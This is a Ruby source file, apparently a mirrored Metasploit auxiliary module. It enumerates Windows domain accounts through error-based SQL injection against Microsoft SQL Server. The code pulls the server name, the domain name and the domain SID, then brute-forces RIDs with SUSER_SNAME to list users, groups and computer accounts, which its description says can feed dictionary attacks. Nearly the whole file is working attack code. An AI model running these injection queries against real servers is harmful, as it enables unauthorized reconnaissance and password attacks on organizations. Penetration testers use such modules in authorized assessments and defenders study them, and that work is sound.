Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

mssql_enum_domain_accounts_sqli.rb 6.9KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'msf/core/exploit/mssql_commands'
  7. class MetasploitModule < Msf::Auxiliary
  8. include Msf::Exploit::Remote::MSSQL_SQLI
  9. include Msf::Auxiliary::Report
  10. def initialize(info = {})
  11. super(update_info(info,
  12. 'Name' => 'Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration',
  13. 'Description' => %q{
  14. This module can be used to bruteforce RIDs associated with the domain of the SQL Server
  15. using the SUSER_SNAME function via Error Based SQL injection. This is similar to the
  16. smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC
  17. role (everyone). Information that can be enumerated includes Windows domain users, groups,
  18. and computer accounts. Enumerated accounts can then be used in online dictionary attacks.
  19. The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
  20. },
  21. 'Author' =>
  22. [
  23. 'nullbind <scott.sutherland[at]netspi.com>',
  24. 'antti <antti.rantasaari[at]netspi.com>'
  25. ],
  26. 'License' => MSF_LICENSE,
  27. 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
  28. ))
  29. register_options(
  30. [
  31. OptInt.new('START_RID', [true, 'RID to start fuzzing at.', 500]),
  32. OptInt.new('END_RID', [true, 'RID to stop fuzzing at.', 3000])
  33. ], self.class)
  34. end
  35. def run
  36. print_status("Grabbing the SQL Server name and domain...")
  37. db_server_name = get_server_name
  38. if db_server_name.nil?
  39. print_error("Unable to grab the server name")
  40. return
  41. else
  42. print_good("Server name: #{db_server_name}")
  43. end
  44. db_domain_name = get_domain_name
  45. if db_domain_name.nil?
  46. print_error("Unable to grab domain name")
  47. return
  48. end
  49. # Check if server is on a domain
  50. if db_server_name == db_domain_name
  51. print_error("The SQL Server does not appear to be part of a Windows domain")
  52. return
  53. else
  54. print_good("Domain name: #{db_domain_name}")
  55. end
  56. print_status("Grabbing the SID for the domain...")
  57. windows_domain_sid = get_windows_domain_sid(db_domain_name)
  58. if windows_domain_sid.nil?
  59. print_error("Could not recover the SQL Server's domain sid.")
  60. return
  61. else
  62. print_good("Domain sid: #{windows_domain_sid}")
  63. end
  64. # Get a list of windows users, groups, and computer accounts using SUSER_NAME()
  65. total_rids = datastore['END_RID'] - datastore['START_RID']
  66. print_status("Brute forcing #{total_rids} RIDs via SQL injection, be patient...")
  67. domain_users = get_win_domain_users(windows_domain_sid)
  68. if domain_users.nil?
  69. print_error("Sorry, no Windows domain accounts were found, or DC could not be contacted.")
  70. return
  71. end
  72. # Print number of objects found and write to a file
  73. print_good("#{domain_users.length} user accounts, groups, and computer accounts were found.")
  74. # Create table for report
  75. windows_domain_login_table = Rex::Text::Table.new(
  76. 'Header' => 'Windows Domain Accounts',
  77. 'Ident' => 1,
  78. 'Columns' => ['name']
  79. )
  80. # Add brute forced names to table
  81. domain_users.each do |object_name|
  82. windows_domain_login_table << [object_name]
  83. end
  84. print_line(windows_domain_login_table.to_s)
  85. # Create output file
  86. filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv"
  87. path = store_loot(
  88. 'mssql.domain.accounts',
  89. 'text/plain',
  90. datastore['RHOST'],
  91. windows_domain_login_table.to_csv,
  92. filename,
  93. 'SQL Server query results'
  94. )
  95. print_status("Query results have been saved to: #{path}")
  96. end
  97. # Get the server name
  98. def get_server_name
  99. clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
  100. clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
  101. sql = "(select '#{clue_start}'+@@servername+'#{clue_end}')"
  102. result = mssql_query(sql)
  103. if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
  104. instance_name = $1
  105. sql_server_name = instance_name.split('\\')[0]
  106. else
  107. sql_server_name = nil
  108. end
  109. sql_server_name
  110. end
  111. # Get the domain name of the SQL Server
  112. def get_domain_name
  113. clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
  114. clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
  115. sql = "(select '#{clue_start}'+DEFAULT_DOMAIN()+'#{clue_end}')"
  116. result = mssql_query(sql)
  117. if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
  118. domain_name = $1
  119. else
  120. domain_name = nil
  121. end
  122. domain_name
  123. end
  124. # Get the SID for the domain
  125. def get_windows_domain_sid(db_domain_name)
  126. domain_group = "#{db_domain_name}\\Domain Admins"
  127. clue_start = Rex::Text.rand_text_alpha(8)
  128. clue_end = Rex::Text.rand_text_alpha(8)
  129. sql = "(select cast('#{clue_start}'+(select stuff(upper(sys.fn_varbintohexstr((SELECT SUSER_SID('#{domain_group}')))), 1, 2, ''))+'#{clue_end}' as int))"
  130. result = mssql_query(sql)
  131. if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
  132. object_sid = $1
  133. domain_sid = object_sid[0..47]
  134. return nil if domain_sid.empty?
  135. else
  136. domain_sid = nil
  137. end
  138. domain_sid
  139. end
  140. # Get list of windows accounts, groups and computer accounts
  141. def get_win_domain_users(domain_sid)
  142. clue_start = Rex::Text.rand_text_alpha(8)
  143. clue_end = Rex::Text.rand_text_alpha(8)
  144. windows_logins = []
  145. total_rids = datastore['END_RID'] - datastore['START_RID']
  146. # Fuzz the principal_id parameter (RID in this case) passed to the SUSER_NAME function
  147. (datastore['START_RID']..datastore['END_RID']).each do |principal_id|
  148. rid_diff = principal_id - datastore['START_RID']
  149. if principal_id % 100 == 0
  150. print_status("#{rid_diff} of #{total_rids } RID queries complete")
  151. end
  152. user_sid = build_user_sid(domain_sid, principal_id)
  153. # Return if sid does not resolve correctly for a domain
  154. if user_sid.length < 48
  155. return nil
  156. end
  157. sql = "(SELECT '#{clue_start}'+(SELECT SUSER_SNAME(#{user_sid}) as name)+'#{clue_end}')"
  158. result = mssql_query(sql)
  159. if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
  160. windows_login = $1
  161. unless windows_login.empty? || windows_logins.include?(windows_login)
  162. windows_logins.push(windows_login)
  163. print_good(" #{windows_login}")
  164. end
  165. end
  166. end
  167. windows_logins
  168. end
  169. def build_user_sid(domain_sid, rid)
  170. # Convert number to hex and fix order
  171. principal_id = "%02X" % rid
  172. principal_id = principal_id.size.even? ? principal_id : "0#{principal_id}"
  173. principal_id = principal_id.scan(/(..)/).reverse.join
  174. # Add padding
  175. principal_id = principal_id.ljust(8, '0')
  176. # Create full sid
  177. "0x#{domain_sid}#{principal_id}"
  178. end
  179. end